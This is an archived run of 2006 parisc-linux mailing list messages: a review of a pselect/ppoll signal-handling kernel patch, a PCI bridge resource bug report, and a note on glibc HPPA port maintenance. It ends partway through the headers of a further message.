Original-Received: by zproxy.gmail.com with SMTP id 18so898414nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 09 Apr 2006 19:06:04 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=HZTYev9HcgX9TIQkEWZ5FHT84B7Gh5NNA7G052/iryEmSeK09uyLGXpap0GTYIL0l0IKyFWXUHL7CyuoODqzci1tYN8kg9TyFYkMhrvup/3mbOw+8PqxcozcKjFBxfkiG7TO0ldTL5O+M8Bzu/EBZa8Kue3q6PHfyb7MkaLP8vw=
Original-Received: by 10.36.61.13 with SMTP id j13mr5074417nza;
	Sun, 09 Apr 2006 19:06:03 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Sun, 9 Apr 2006 19:06:03 -0700 (PDT)
In-Reply-To: <20060409182521.GA27661@quicksilver.road.mcmartin.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 88xQK0UeMydynYigZWplZmhraGRhZhqb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23562

On 4/9/06, Kyle McMartin <kyle@mcmartin.ca> wrote:
> First strike at adding TIF_RESTORE_SIGMASK support for the pselect/ppoll
> system calls... Doesn't seem to work at all yet...

Thanks!

> -       .export sys_rt_sigsuspend_wrapper
> -sys_rt_sigsuspend_wrapper:
> -       LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
> -       ldo     TASK_REGS(%r1),%r24
> -       reg_save %r24
> -
> -       STREG   %r2, -RP_OFFSET(%r30)
> -#ifdef CONFIG_64BIT
> -       ldo     FRAME_SIZE(%r30), %r30
> -       b,l     sys_rt_sigsuspend,%r2
> -       ldo     -16(%r30),%r29          /* Reference param save area */
> -#else
> -       bl      sys_rt_sigsuspend,%r2
> -       ldo     FRAME_SIZE(%r30), %r30
> -#endif
> -
> -       ldo     -FRAME_SIZE(%r30), %r30
> -       LDREG   -RP_OFFSET(%r30), %r2
> -
> -       LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
> -       ldo     TASK_REGS(%r1),%r1
> -       reg_restore %r1
> -
> -       bv      %r0(%r2)
> -       nop
> -

This needs more review.

> -asmlinkage int
> -sys_rt_sigsuspend(sigset_t __user *unewset, size_t sigsetsize, struct pt=
_regs *regs)

You've switched over to the kernel generic version of
sys_rt_sigsuspend, and you will have to review if it does exactly what
our version was doing. I suspect it's slightly different, and you
problems start here.

> +/* Setup a trampoline to restart the syscall
> + * with __NR_restart_syscall
> + *
> + *  0: <return address (orig r31)>
> + *  4: <2nd half for 64-bit>
> + *  8: ldw 0(%sp), %r31
> + * 12: be 0x100(%sr2, %r0)
> + * 16: ldi __NR_restart_syscall, %r20
> + */
> +static void setup_restart_syscall_tramp(struct pt_regs *regs)
> +{
> +       unsigned int *usp =3D (unsigned int *)regs->gr[30];
> +
> +#ifdef CONFIG_64BIT
> +       put_user(regs->gr[31] >> 32, &usp[0]);
> +       put_user(regs->gr[31] & 0xffffffff, &usp[1]);
> +       put_user(0x0fc010df, &usp[2]);
> +#else
> +       put_user(regs->gr[31], &usp[0]);
> +       put_user(0x0fc0109f, &usp[2]);
> +#endif
> +       put_user(0xe0008200, &usp[3]);
> +       put_user(0x34140000, &usp[4]);
> +
> +       /* Stack is 64-byte aligned, and we only need
> +        * to flush 1 cache line.
> +        * Flushing one cacheline is cheap.
> +        * "sync" on bigger (> 4 way) boxes is not.
> +        */
> +       asm("fdc %%r0(%%sr3, %0)\n"
> +           "sync\n"
> +           "fic %%r0(%%sr3, %0)\n"
> +           "sync\n"
> +           : : "r"(regs->gr[30]));
> +
> +       regs->gr[31] =3D regs->gr[30] + 8;
> +       /* Preserve original r28. */
> +       regs->gr[28] =3D regs->orig_r28;
> +
> +       return;
>  }

I believe we've always had a race condition in this trampoline.
I'm raising this issue so we can remember that it's there or
completely squash the issue. While returning to userspace
you *cannot* take another restart since the restarts are not
nestable. You must disable restarts and then reenable them
when you return from the trampoline. Linus wrote an email about
this issue. Has this been fixed for us?

> -       /* Everyone else checks to see if they are in kernel mode at
> -          this point and exits if that's the case.  I'm not sure why
> -          we would be called in that case, but for some reason we
> -          are. */
> +       if (!user_mode(regs))
> +               return;

Don't delete the comment unless you are willing to replace it with
one that explains why this might be the case. Please think about
kernel mode threads and why we don't do this for them.

>         /* May need to force signal if handle_signal failed to deliver */
> -       while (1) {
> -
> -               signr =3D get_signal_to_deliver(&info, &ka, regs, NULL);
> -               DBG(3,"do_signal: signr =3D %d, regs->gr[28] =3D %ld\n", =
signr, regs->gr[28]);
> +       signr =3D get_signal_to_deliver(&info, &ka, regs, NULL);
> +       DBG(3,"do_signal: signr =3D %d, regs->gr[28] =3D %ld\n", signr, r=
egs->gr[28]);

Have other arches changed their handlers?
Are we no longer required to loop in an attempt to deliver the signal?

> -       ENTRY_SAME(rt_sigsuspend_wrapper) /* not really SAME -- see the c=
ode */
> +       ENTRY_COMP(rt_sigsuspend)

This was always really ugly. Thanks.


> -       ENTRY_SAME(ni_syscall)          /* 271 ENTRY_COMP(pselect6) */
> -       ENTRY_SAME(ni_syscall)          /* 272 ENTRY_COMP(ppoll) */
> +       ENTRY_COMP(pselect6)
> +       ENTRY_COMP(ppoll)

Yay.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] pselect/ppoll support
Date: Sun, 9 Apr 2006 22:16:15 -0400
Lines: 68
Approved: news@gmane.org
Message-ID: <20060410021615.GC27661@quicksilver.road.mcmartin.ca>
References: <20060409182521.GA27661@quicksilver.road.mcmartin.ca>
	<119aab440604091906m19b9bf33yfd9e8b1cbff22844@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624051 18906 80.91.229.3 (22 Nov 2014 02:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2006 02:16:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 10 Apr 2006 04:16:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 292C27D687;
	Sun,  9 Apr 2006 20:16:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15943-08; Sun, 9 Apr 2006 20:16:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83DCD7D68A;
	Sun,  9 Apr 2006 20:16:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8597F7D686
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 20:16:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15723-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 20:16:36 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 916047D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 20:16:36 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 670A9584090;
	Sun,  9 Apr 2006 22:16:35 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B78CC58408E;
	Sun,  9 Apr 2006 22:16:34 -0400 (EDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 97ABD23E83;
	Sun,  9 Apr 2006 22:16:02 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11656-08; Sun, 9 Apr 2006 22:16:02 -0400 (EDT)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 3CA8723E82;
	Sun,  9 Apr 2006 22:16:02 -0400 (EDT)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 352A43B063; Sun,  9 Apr 2006 22:16:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440604091906m19b9bf33yfd9e8b1cbff22844@mail.gmail.com>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bKxSLH9zTlIvsreQeGhrSVVGU2poZVnm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23563

On Sun, Apr 09, 2006 at 10:06:03PM -0400, Carlos O'Donell wrote:
> > -       .export sys_rt_sigsuspend_wrapper
> > -sys_rt_sigsuspend_wrapper:
<snip>
> > -
> > -       bv      %r0(%r2)
> > -       nop
> > -
> 
> This needs more review.
>

As far as I could tell, this was just massaging to get the pt_regs
for sys_rt_sigsuspend, so if we use the generic one, it could go too.
 
> > -asmlinkage int
> > -sys_rt_sigsuspend(sigset_t __user *unewset, size_t sigsetsize, struct pt_regs *regs)
> 
> You've switched over to the kernel generic version of
> sys_rt_sigsuspend, and you will have to review if it does exactly what
> our version was doing. I suspect it's slightly different, and you
> problems start here.
> 

I did a quick comparison of the two, and it seemed to be mostly the
same. Someone who is more clued in should make sure I'm not on drugs
though.

<snip>
> I believe we've always had a race condition in this trampoline.
> I'm raising this issue so we can remember that it's there or
> completely squash the issue. While returning to userspace
> you *cannot* take another restart since the restarts are not
> nestable. You must disable restarts and then reenable them
> when you return from the trampoline. Linus wrote an email about
> this issue. Has this been fixed for us?
>

NFC.
 
> > +       if (!user_mode(regs))
> > +               return;
> 
> Don't delete the comment unless you are willing to replace it with
> one that explains why this might be the case. Please think about
> kernel mode threads and why we don't do this for them.
>

I'm just playing follow the leader through most of this routine.
 
> > -       while (1) {
> > -
> Have other arches changed their handlers?
> Are we no longer required to loop in an attempt to deliver the signal?
>

We loop in entry.S if we still have SIGPENDING set. AFAICT, this 
looping was redundant. Unless we can jump out of do_signal without
hitting intr_check_sig && syscall_check_sig, I'm not sure...

Cheers!
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000 PCI resource problem
Date: Sun, 9 Apr 2006 20:34:56 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20060410023456.GA25141@colo.lackof.org>
References: <wrp7j62jz7e.fsf@wild-wind.fr.eu.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624051 18910 80.91.229.3 (22 Nov 2014 02:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Marc Zyngier <maz@misterjones.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2006 02:23:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 10 Apr 2006 04:23:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5951D7D694;
	Sun,  9 Apr 2006 20:23:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16129-09; Sun, 9 Apr 2006 20:23:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07A9F7D695;
	Sun,  9 Apr 2006 20:23:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9611C7D692
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 20:23:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16273-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 20:23:31 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C7A8F7D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 20:23:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6D38636001F;
	Sun,  9 Apr 2006 20:34:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25550-10; Sun, 9 Apr 2006 20:34:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F2CA436001E; Sun,  9 Apr 2006 20:34:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <wrp7j62jz7e.fsf@wild-wind.fr.eu.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mvMfbKnMLi5n8ffRZWtpZGZjZml1ZNg2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23564

On Thu, Apr 06, 2006 at 09:12:05PM +0200, Marc Zyngier wrote:
> People,
> 
> I recently added a Sun dual gigabit, dual scsi PCI card to one of my
> B2000s. This board contains 2 cassini chips, and a 53c896, all sitting
> behind an Intel (well, Digital) 21154 PCI bridge.
> 
> The system works fine, but I'm seeing the following problems:
> 
> Whel probing the SCSI part of the board, the kernel spits the
> following:
> 
> PCI: resource not parented! [2000-2fff]
> PCI: resource not parented! [fb000000-fb5fffff]

Which kernel version?

>   00002000-00002fff : PCI Bus #02
> [... ad nauseam].

This is definitely a bug.

> 0000:01:02.0 PCI bridge: Intel Corporation 21154 PCI-to-PCI Bridge (prog-if 00 [Normal decode])
...
>         I/O behind bridge: 00002000-00002fff
>         Memory behind bridge: fb000000-fb5fffff

Looks like PCI bridge support isn't parenting the allocation
of these resources correctly.

> 0000:02:00.0 Ethernet controller: National Semiconductor Corporation DP83065 [Saturn] 10/100/1000 Ethernet Controller (rev 30)
...
>         Region 0: Memory at fb200000 (32-bit, non-prefetchable) [size=2M]

Wow! 2M? That's a fair chunk of space for a NIC.
Any special about that RAM or what it's used for?
(Just curious)

> 0000:02:02.0 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
...
>         Region 0: I/O ports at 12100 [size=256]
>         Region 1: Memory at fb405000 (64-bit, non-prefetchable) [size=1K]
>         Region 3: Memory at fb402000 (64-bit, non-prefetchable) [size=8K]

Is CONFIG_SCSI_SYM53C8XX_MMIO enabled in your kernel?
(again just curious)

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc maintainers sought for m68k, hppa
Date: Tue, 11 Apr 2006 07:12:46 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <443B3ACE.7040009__48435.2102074355$1416624051$gmane$org@aurel32.net>
References: <20060410131631.GA21246@nevyn.them.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624051 18915 80.91.229.3 (22 Nov 2014 02:40:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 debian-glibc@lists.debian.org
To: Daniel Jacobowitz <dan@debian.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2006 05:13:14 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx048) with SMTP; 11 Apr 2006 07:13:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7759C2E7F2; Tue, 11 Apr 2006 00:13:11 -0500 (CDT)
Old-Return-Path: <aurelien@aurel32.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from farad.aurel32.net (farad.aurel32.net [82.232.2.251])
	by murphy.debian.org (Postfix) with ESMTP id 1AAD42E331;
	Tue, 11 Apr 2006 00:13:03 -0500 (CDT)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by farad.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50)
	id 1FTBBV-0004jf-7A; Tue, 11 Apr 2006 07:13:01 +0200
User-Agent: Debian Thunderbird 1.0.7 (X11/20051017)
X-Accept-Language: en-us, en
In-Reply-To: <20060410131631.GA21246@nevyn.them.org>
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-2.6 required=4.0 tests=AWL,LDOSUBSCRIBER,
	MAILTO_TO_SPAM_ADDR,MURPHY_DRUGS_REL8 autolearn=no version=3.0.3
Resent-Message-ID: <FFEfmD.A.Yf.nrzOEB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5271
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 11 Apr 2006 00:13:11 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 3ggJd0YxPTRt7OjGPjIwMzIxc2tpZItP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23565

[Cc:ing parisc-linux as interested people are there]

Hi!

Daniel Jacobowitz wrote:
> In the upstream glibc repository, both M68K and HPPA ports have been
> moved into the separate "ports" repository.  This means two things:
> 
>   - The core glibc maintainers will not update them when sweeping
>     changes are made.  This was already the case; they're just making
>     it clearer.
> 
>   - ACLs can be set up to allow a port maintainer to directly modify
>     ports files.
> 
> I'm already covering two other ports, so I refuse to pick up two more
> "orphans".  If you want continuing glibc support for these
> architectures, I think we need to find developers interested in
> maintaining them in the upstream trees.  I can point interested folks
> at some of the recent changes which need to be synched to their ports,
> but I'm not going to continue keeping a list much longer.
> 
> M68k in particular needs some loving.  New versions of glibc will not
> build without TLS support; whether or not you go to full NPTL support
> (which I highly recommend), you need to implement TLS.  It's not too
> hard, really.  And it's long overdue.
> 
> Any takers?
> 

For the HPPA port, guys from parisc-linux are doing very good job for 
both the kernel and the glibc. If I am right some of them (at least 
Carlos) have commit access to the CVS for HPPA.

Having write access to the Debian SVN, having an HPPA machine and 
reading debian-hppa, parisc-linux and libc-ports mailing-lists, I think 
I can work on merging the necessary patches to support HPPA in the 
Debian glibc.

Bye,
Aurelien

-- 
   .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
  : :' :  Debian developer           | Electrical Engineer
  `. `'   aurel32@debian.org         | aurelien@aurel32.net
    `-    people.debian.org/~aurel32 | www.aurel32.net


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some whitespace rework and attempt to beautify
	inline asm stuff?
Date: Tue, 11 Apr 2006 10:37:38 +0100
Lines: 745
Approved: news@gmane.org
Message-ID: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1144748258.2A.816162.42.473.52.42.007.1772815055"
X-Trace: ger.gmane.org 1416624052 18919 80.91.229.3 (22 Nov 2014 02:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:52 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Apr 2006 09:37:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 11 Apr 2006 11:37:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30AA97D6D1;
	Tue, 11 Apr 2006 03:37:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28555-04; Tue, 11 Apr 2006 03:37:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B25247D6D3;
	Tue, 11 Apr 2006 03:37:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5525F7D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Apr 2006 03:37:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28498-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Apr 2006 03:37:41 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id AB2897D6AC
	for <parisc-linux@lists.parisc-linux.org>;
